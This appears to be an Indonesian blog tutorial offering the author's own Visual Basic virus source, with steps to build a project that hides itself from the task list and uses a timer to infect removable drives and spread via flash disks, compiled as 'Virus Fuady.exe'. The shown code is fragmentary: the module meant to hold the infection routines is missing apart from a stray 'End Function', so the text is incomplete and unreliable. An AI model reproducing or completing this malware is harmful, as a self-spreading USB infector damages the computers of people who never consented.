Kali ini saya akan berbagi Source Code Virus buatan saya yang ditulis dengan Bahasa Visual Basic, saya sudah mencobanya dulu waktu masih awal-awal belajar Visual Basic. Dan saya juga minta maaf kepada teman-teman saya dan semua orang yang pernah menjadi korban kejahilan saya dulu waktu masih coba-coba dengan Source Code ini.
Saya waktu itu masih khilaf…
hehehehe… maafin saya ya…???

Source Code ini saya tulis di blog saya bukan berarti mengajari orang yang membaca untuk membuat virus dan menjahili orang lain, tapi untuk tujuan agar bisa belajar tentang Bahasa Visual Basic dan Struktur Virus itu di buat. Ini saya juga menggunakan bantuan spoiler agar lebih mudah dalam membacanya.

Oke. Sekarang kita mulai belajarnya….!!!
Kita mulai dengan membuka Program Visual Basic nya, buat New Project - Standart EXE
Kemudian buatlah rancangan Form nya seperti gambar dibawah :

Rancangan Form:

Tampilan form dengan penggunaan satu label.

Pengaturan pada Project explorer dan Project Properties seperti gambar di bawah :

Pengaturan Project:

Penamaan project, file, form, module pada Project Explorer dan caption pada Properties

Gunakan Control Timer untuk mendukung proses penyebaran seperti gambar di bawah :

Penggunaan Control Timer:

Penggunaan Timer Untuk Mendukung Proses Penggandaan File dan Penyebaran Melalui Flash Disk

Kemudian masukkan Source Code dibawah ini pada Form dan Control Timer:

Code pada Form:

Private Sub Form_Load()
App.TaskVisible = False
Main
End Sub

Code pada Control Timer:

Private Sub Timer1_Timer()
Label1.Caption = Time()
InfeksiDriveRemovable
End Sub

Kemudian Buatlah Modul, Project - Add Module

End Function

Didalam setiap form dan modul ini terdapat perintah-perintah dan fungsi-fungsi yang saling terkait dan menunjang. Setelah semuanya dibuat, Program ini akan dapat berjalan setelah dilakukan kompilasi menjadi file executable dengan perintah menu compilasi pada Visual basic,

File - make Virus Fuady.exe

Kemudian anda bisa melihat sendiri hasilnya. Jangan dipakai buat menjahili orang lain yah???

Sekian dulu tutorial dari saya. Semoga bermanfaat…
